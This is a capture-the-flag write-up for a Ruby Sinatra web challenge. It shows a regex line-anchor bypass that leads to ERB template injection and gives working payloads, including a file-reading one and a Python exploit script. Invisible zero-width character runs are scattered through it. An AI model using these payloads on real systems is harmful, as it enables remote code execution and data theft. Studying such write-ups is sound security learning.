← Back to Writeups
CUSTOMMediumWeb

GemsGen

XESXOR9/10/20263 min read
#web#custom#medium#erb_server_side_template_injec#overlong_utf8_error_trigger#ruby_regex_line_boundary_bypas#sinatra_show_exceptions_source

GemsGen

Platform: taipanbyte | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-23 | Status: Solved Techniques: erb_server_side_template_injection, overlong_utf8_error_trigger, ruby_regex_line_boundary_bypass, sinatra_show_exceptions_source_leak

Summary

Task: Ruby Sinatra app with strict alphanumeric regex filter on user input that is rendered via ERB templates. Solution: Leaked source via Sinatra show_exceptions error page, then bypassed Ruby regex ^/$ line-boundary anchors with newline injection to achieve ERB SSTI and read the flag file.

GemsGen — TaipanByte CTF

Description

Amazing Gems Generator

A Ruby Sinatra web application at https://gemsgen.taipanbyte.ru/ that accepts user input via a neon POST parameter and reflects it inside an <h1 class="glow"> tag. The goal is to bypass the input filter and read the flag.

Analysis

Reconnaissance

The application runs Ruby 2.7.5 with WEBrick 1.6.1 behind nginx. Visiting a non-existent route triggers Sinatra's development-mode 404 debug page, which reveals:

  • Class name: NeonControllers
  • Source file: neon.rb
  • Framework: Sinatra in development mode (show_exceptions enabled) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The main functionality is a POST endpoint at / that takes a neon parameter and reflects its value inside <h1 class="glow">. Initial testing showed an extremely strict input filter — only [a-zA-Z0-9 \n] characters pass through; all special characters (< > { } % # $ = . etc.) are rejected with "Malicious Input Detected".

Source Code Leak via Error Triggering

Since Sinatra runs in development mode with show_exceptions enabled, triggering an unhandled exception reveals the full source code and stack trace. Sending overlong UTF-8 bytes (%C0%BC) in the neon parameter caused an ArgumentError: invalid byte sequence in UTF-8, which displayed the detailed error page with the complete route handler source code. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Leaked Source Code

ruby
post '/' do
    if params[:neon] =~ /^[0-9a-z ]+$/i
      @neon = ERB.new(params[:neon]).result(binding)
    else
      @neon = "Malicious Input Detected"
    end
    erb :'index'
end

The Vulnerability: Ruby Regex Line-Boundary Bypass

The filter uses /^[0-9a-z ]+$/i with ^ and $ anchors. In Ruby, ^ and $ match line boundaries (beginning/end of each line in a multi-line string), NOT string boundaries. String-boundary anchors in Ruby are \A (start) and \z (end). ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This means for a multi-line input like clean\n<%= 7*7 %>:

  1. The regex engine tests the first line clean against /^[0-9a-z ]+$/i
  2. clean matches → the =~ operator returns a truthy value (match position)
  3. The entire multi-line input (including the ERB payload after the newline) is passed to ERB.new(params[:neon]).result(binding)

The user input is passed directly to ERB.new().result(binding), giving full ERB template injection with access to the binding context — effectively RCE. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Confirm ERB Execution

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded

neon=clean%0A<%25%3D+7*7+%25>

Payload: clean\n<%= 7*7 %> Response: clean\n49 — confirms ERB code execution.

Step 2: Enumerate the Filesystem

neon=clean%0A<%25%3D+Dir.entries('/app').join('+')%25>

Payload: clean\n<%= Dir.entries('/app').join(' ') %> Result: Found flag.txt in /app/.

Step 3: Read the Flag

neon=clean%0A<%25%3D+File.read('/app/flag.txt')%25>

Payload: clean\n<%= File.read('/app/flag.txt') %> Result: CTF{REDACTED} ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Full Exploit Script

python
#!/usr/bin/env python3
"""
GemsGen — TaipanByte CTF
Ruby regex ^/$ line-boundary bypass + ERB SSTI

In Ruby, ^ and $ match line boundaries, not string boundaries (\A/\z).
Injecting a newline before ERB payload bypasses the alphanumeric filter.
"""
import urllib.request
import urllib.parse
import re

URL = "https://gemsgen.taipanbyte.ru/"

# Newline before ERB payload bypasses /^[0-9a-z ]+$/i
payload = "clean\n<%= File.read('/app/flag.txt') %>"

body = urllib.parse.urlencode({"neon": payload}).encode()
req = urllib.request.Request(URL, data=body, method="POST")
req.add_header("Content-Type", "application/x-www-form-urlencoded")
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

resp = urllib.request.urlopen(req)
html = resp.read().decode()

m = re.search(r'<h1 class="glow">(.*?)</h1>', html, re.DOTALL)
if m:
    content = m.group(1).strip()
    # Flag is on the second line (after "clean")
    lines = content.split("\n")
    flag = lines[-1].strip() if len(lines) > 1 else content
    print(f"Flag: {flag}")

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍